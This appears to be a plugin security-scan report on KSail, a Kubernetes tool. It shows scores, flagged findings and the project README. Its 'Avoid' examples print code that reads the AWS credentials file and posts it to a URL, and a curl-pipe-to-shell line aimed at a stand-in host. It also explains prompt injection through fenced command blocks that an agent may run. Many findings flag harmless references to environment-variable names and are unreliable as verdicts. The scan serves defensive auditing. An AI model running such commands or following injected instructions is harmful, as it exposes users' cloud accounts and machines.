CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

0.0 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 23 flagged

Securityscore 0 · 23 findings

CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · pkg/apis/cluster/v1alpha1/errors.go×2

CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.

Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("or static AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_K…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted

excerptpkg/apis/cluster/v1alpha1/errors.go

73var ErrAWSCredentialsMissing = errors.New(

74"AWS credentials not found; configure them via 'aws configure', AWS_PROFILE, " +

75"or static AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY",

76)

Occurrences

2 occurrences · first at L75, also L75

Show all 2 locations

Line

File

L75

pkg/apis/cluster/v1alpha1/errors.go

L75

pkg/apis/cluster/v1alpha1/errors.go

How to fix

Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.

Delete code that opens or parses the credentials file or its key fields by hand.
Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.

Avoid

creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})

Safer pattern

# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub

CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · pkg/apis/cluster/v1alpha1/options.go×6

CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.

Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (// Defaults to "AWS_ACCESS_KEY_ID".). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted

excerptpkg/apis/cluster/v1alpha1/options.go

337RegionEnvVar string `default:"AWS_REGION" json:"regionEnvVar,omitzero"`

338// AccessKeyIDEnvVar is the environment variable containing a static AWS access key ID.

339// Defaults to "AWS_ACCESS_KEY_ID".

340AccessKeyIDEnvVar string `default:"AWS_ACCESS_KEY_ID" json:"accessKeyIdEnvVar,omitzero"`

341// SecretAccessKeyEnvVar is the environment variable containing a static AWS secret access k

… (3 chars elided on L341)

Occurrences

6 occurrences · first at L339, also L340, L342 +3 more

Show all 6 locations

Line

File

L339

pkg/apis/cluster/v1alpha1/options.go

L340

pkg/apis/cluster/v1alpha1/options.go

L342

pkg/apis/cluster/v1alpha1/options.go

L343

pkg/apis/cluster/v1alpha1/options.go

L346

pkg/apis/cluster/v1alpha1/options.go

L347

pkg/apis/cluster/v1alpha1/options.go

How to fix

Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.

Delete code that opens or parses the credentials file or its key fields by hand.
Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.

Avoid

creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})

Safer pattern

# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub

CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · pkg/svc/chat/docs_generated.go×6

CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.

Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (const generatedDocumentation = "\n## Concepts\n\…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted

excerptpkg/svc/chat/docs_generated.go

5// generatedDocumentation contains the pre-processed KSail documentation,

6// built at go:generate time from docs/src/content/docs/.

7const generatedDocumentation = "\n## Concepts\n\n## Native Configuration Philosophy\n\n**KSa

… (108 chars elided on L7)

Occurrences

6 occurrences · first at L7, also L7, L7 +3 more

Show all 6 locations

Line

File

pkg/svc/chat/docs_generated.go

How to fix

Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.

Delete code that opens or parses the credentials file or its key fields by hand.
Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.

Avoid

creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})

Safer pattern

# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub

CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · pkg/svc/credentials/credentials.go×3

CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.

Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (defaultAWSAccessKeyIDEnvVar = "AWS_ACCESS_KEY_I…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted

excerptpkg/svc/credentials/credentials.go

49defaultAWSRegionEnvVar = "AWS_REGION"

50defaultAWSProfileEnvVar = "AWS_PROFILE"

51defaultAWSAccessKeyIDEnvVar = "AWS_ACCESS_KEY_ID"

52defaultAWSSecretAccessEnvVar = "AWS_SECRET_ACCESS_KEY" //nolint:gosec // env var NAME, not a

… (7 chars elided on L52)

53defaultAWSSessionTokenEnvVar = "AWS_SESSION_TOKEN" //nolint:gosec // env var NAME, not a

… (7 chars elided on L53)

Occurrences

3 occurrences · first at L51, also L52, L53

Show all 3 locations

Line

File

L51

pkg/svc/credentials/credentials.go

L52

pkg/svc/credentials/credentials.go

L53

pkg/svc/credentials/credentials.go

How to fix

Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.

Delete code that opens or parses the credentials file or its key fields by hand.
Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.

Avoid

creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})

Safer pattern

# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub

CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · pkg/svc/credentials/credentials_test.go×3

CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.

Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (assert.Equal(t, "AWS_ACCESS_KEY_ID", credentials…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted

excerptpkg/svc/credentials/credentials_test.go

29assert.Equal(t, "AWS_REGION", credentials.DefaultEnvVar(credentials.AWSRegion))

30assert.Equal(t, "AWS_PROFILE", credentials.DefaultEnvVar(credentials.AWSProfile))

31assert.Equal(t, "AWS_ACCESS_KEY_ID", credentials.DefaultEnvVar(credentials.AWSAccessKeyID))

32assert.Equal(

33t,

Occurrences

3 occurrences · first at L31, also L34, L37

Show all 3 locations

Line

File

L31

pkg/svc/credentials/credentials_test.go

L34

pkg/svc/credentials/credentials_test.go

L37

pkg/svc/credentials/credentials_test.go

How to fix

Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.

Delete code that opens or parses the credentials file or its key fields by hand.
Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.

Avoid

creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})

Safer pattern

# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub

CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · pkg/svc/provider/aws/doc.go

CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.

Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (// credential chain (env vars, ~/.aws/credential…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted

excerptpkg/svc/provider/aws/doc.go

13//

14// Credentials are resolved by eksctl itself through the standard AWS SDK v2

15// credential chain (env vars, ~/.aws/credentials, IMDS, SSO, etc.). KSail does

16// not interact with AWS credentials directly.

17package aws

Occurrences

1 occurrence · at L15

How to fix

Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.

Delete code that opens or parses the credentials file or its key fields by hand.
Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.

Avoid

creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})

Safer pattern

# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · AGENTS.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptAGENTS.md· markdown

21```bash

22# Node.js for documentation builds

23# CI uses Node.js 24 (see .github/workflows/ci.yaml)

24cd /path/to/repo/docs

25npm ci

26```

28### Build Commands

Occurrences

1 occurrence · at L21

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256aa20ab1ebdeb2d4a…rubric 365aacaView on GitHub

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/src/content/docs/faq.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

The exact value spotted

excerptdocs/src/content/docs/faq.md· markdown

20```bash

21kind create cluster --config kind.yaml

22k3d cluster create --config k3d.yaml

23talosctl cluster create --config-patch @talos/cluster/patches.yaml

24vcluster create my-cluster --values vcluster.yaml

25```

27### Is KSail production-ready?

Occurrences

1 occurrence · at L20

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256ec583f133b01d5f7…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

README.md · 1 file

README.md7.3 KB · Markdown

🛥️🐳 KSail

ksail

KSail bundles common Kubernetes tooling into a single binary. Spin up local clusters, deploy workloads, and operate cloud-native stacks across distributions and providers through a CLI, VS Code extension, AI chat TUI, or MCP server — with only Docker or access to a Cloud Provider required.

📖 Full documentation: <https://ksail.devantler.tech>

Quick Install

# macOS / Linux (Homebrew)
brew install --cask devantler-tech/tap/ksail

# Go (1.26.1+)
go install github.com/devantler-tech/ksail/v7@latest

See the Installation Guide for binary downloads and more options.

AI Assistant Plugins

Install the ksail plugin for GitHub Copilot CLI or Claude Code to auto-register ksail's MCP server and a ksail expertise skill.

Copilot CLI:

copilot plugin marketplace add devantler-tech/ksail
copilot plugin install ksail

Claude Code:

/plugin marketplace add devantler-tech/ksail
/plugin install ksail@ksail

Requires ksail on PATH.

Quick Start

ksail cluster init --name my-app   # scaffold project + native configs
ksail cluster create               # spin up the cluster (Docker only)
ksail cluster connect              # open K9s

Continue with the Getting Started guide for GitOps, workloads, and multi-tenancy.

What KSail Bundles

Category	Built-in Capabilities
Cluster Provisioning	Kind, K3d, Talos, VCluster (Vind), KWOK (kwokctl), EKS
Container Orchestration	kubectl, Helm, Kustomize
GitOps Engines	Flux, ArgoCD
Secrets Management	SOPS with Age encryption
Manifest Validation	Kubeconform
Cluster Operations	K9s, backup & restore, multi-tenancy (`ksail tenant`)
AI Integration	Chat assistant (Copilot SDK), MCP server, VS Code extension
Infrastructure Providers	Docker (local), Kubernetes (nested), Hetzner Cloud, Sidero Omni, AWS

See the feature overview and architecture guide for details.

Supported Platforms

OS	Architecture
🐧 Linux	amd64, arm64
🍎 macOS	arm64
⊞ Windows (native untested; WSL2 recommended)	amd64, arm64

Provider	Vanilla	K3s	Talos	VCluster	KWOK	EKS
Docker	✅ (Kind)	✅ (K3d)	✅	✅ (Vind)	✅ (kwokctl)	—
Kubernetes	✅	✅	✅	✅	✅	—
Hetzner	—	—	✅	—	—	—
Omni	—	—	✅	—	—	—
AWS	—	—	—	—	—	🚧

Community & Support

💬 [GitHub Discussions](https://github.com/devantler-tech/ksail/discussions) — questions, ideas, and community
🐛 [Issue Tracker](https://github.com/devantler-tech/ksail/issues) — bugs and feature requests
📖 [Documentation](https://ksail.devantler.tech) — guides, CLI reference, architecture
🎓 [Resources](https://ksail.devantler.tech/resources/) — presentations, blog posts, tutorials
⭐ [Star the repo](https://github.com/devantler-tech/ksail) — help others discover KSail

Contributing

Contributions are welcome! See CONTRIBUTING.md for the development process, coding standards, and PR guidelines. Start with issues labeled good first issue.

Project	Description	Type
devantler-tech/platform	The maintainer's personal kubernetes platform	Platform

Using KSail in your project? Open a PR to add it here.

License

KSail is licensed under the [PolyForm Shield License 1.0.0](LICENSE). You may use, modify, and distribute KSail for any purpose — except providing a product that competes with KSail. When redistributing, you must include the license terms and the required copyright notice.

What this means in practice:

✅ Use KSail as a CLI tool in any project (open-source or proprietary)
✅ Embed or link KSail as a library in your own software
✅ Fork and modify KSail for internal or non-competing use
✅ Use any license for your own project — no copyleft requirement
❌ Build and distribute a product that competes with KSail

For the full license text including notice and non-compete details, see LICENSE. For common questions, see the Licensing FAQ.

Star History

Ksail— plugin

Is Ksail safe to install?

🛥️🐳 KSail

Quick Install

AI Assistant Plugins

Quick Start

What KSail Bundles

Supported Platforms

Community & Support

Contributing

License

Star History

Audit the pieces. Scan the whole. Decide.

Is Ksail safe to install?

🛥️🐳 KSail

Quick Install

AI Assistant Plugins

Quick Start

What KSail Bundles

Supported Platforms

Community & Support

Contributing

Related Projects

License

Star History

Audit the pieces. Scan the whole. Decide.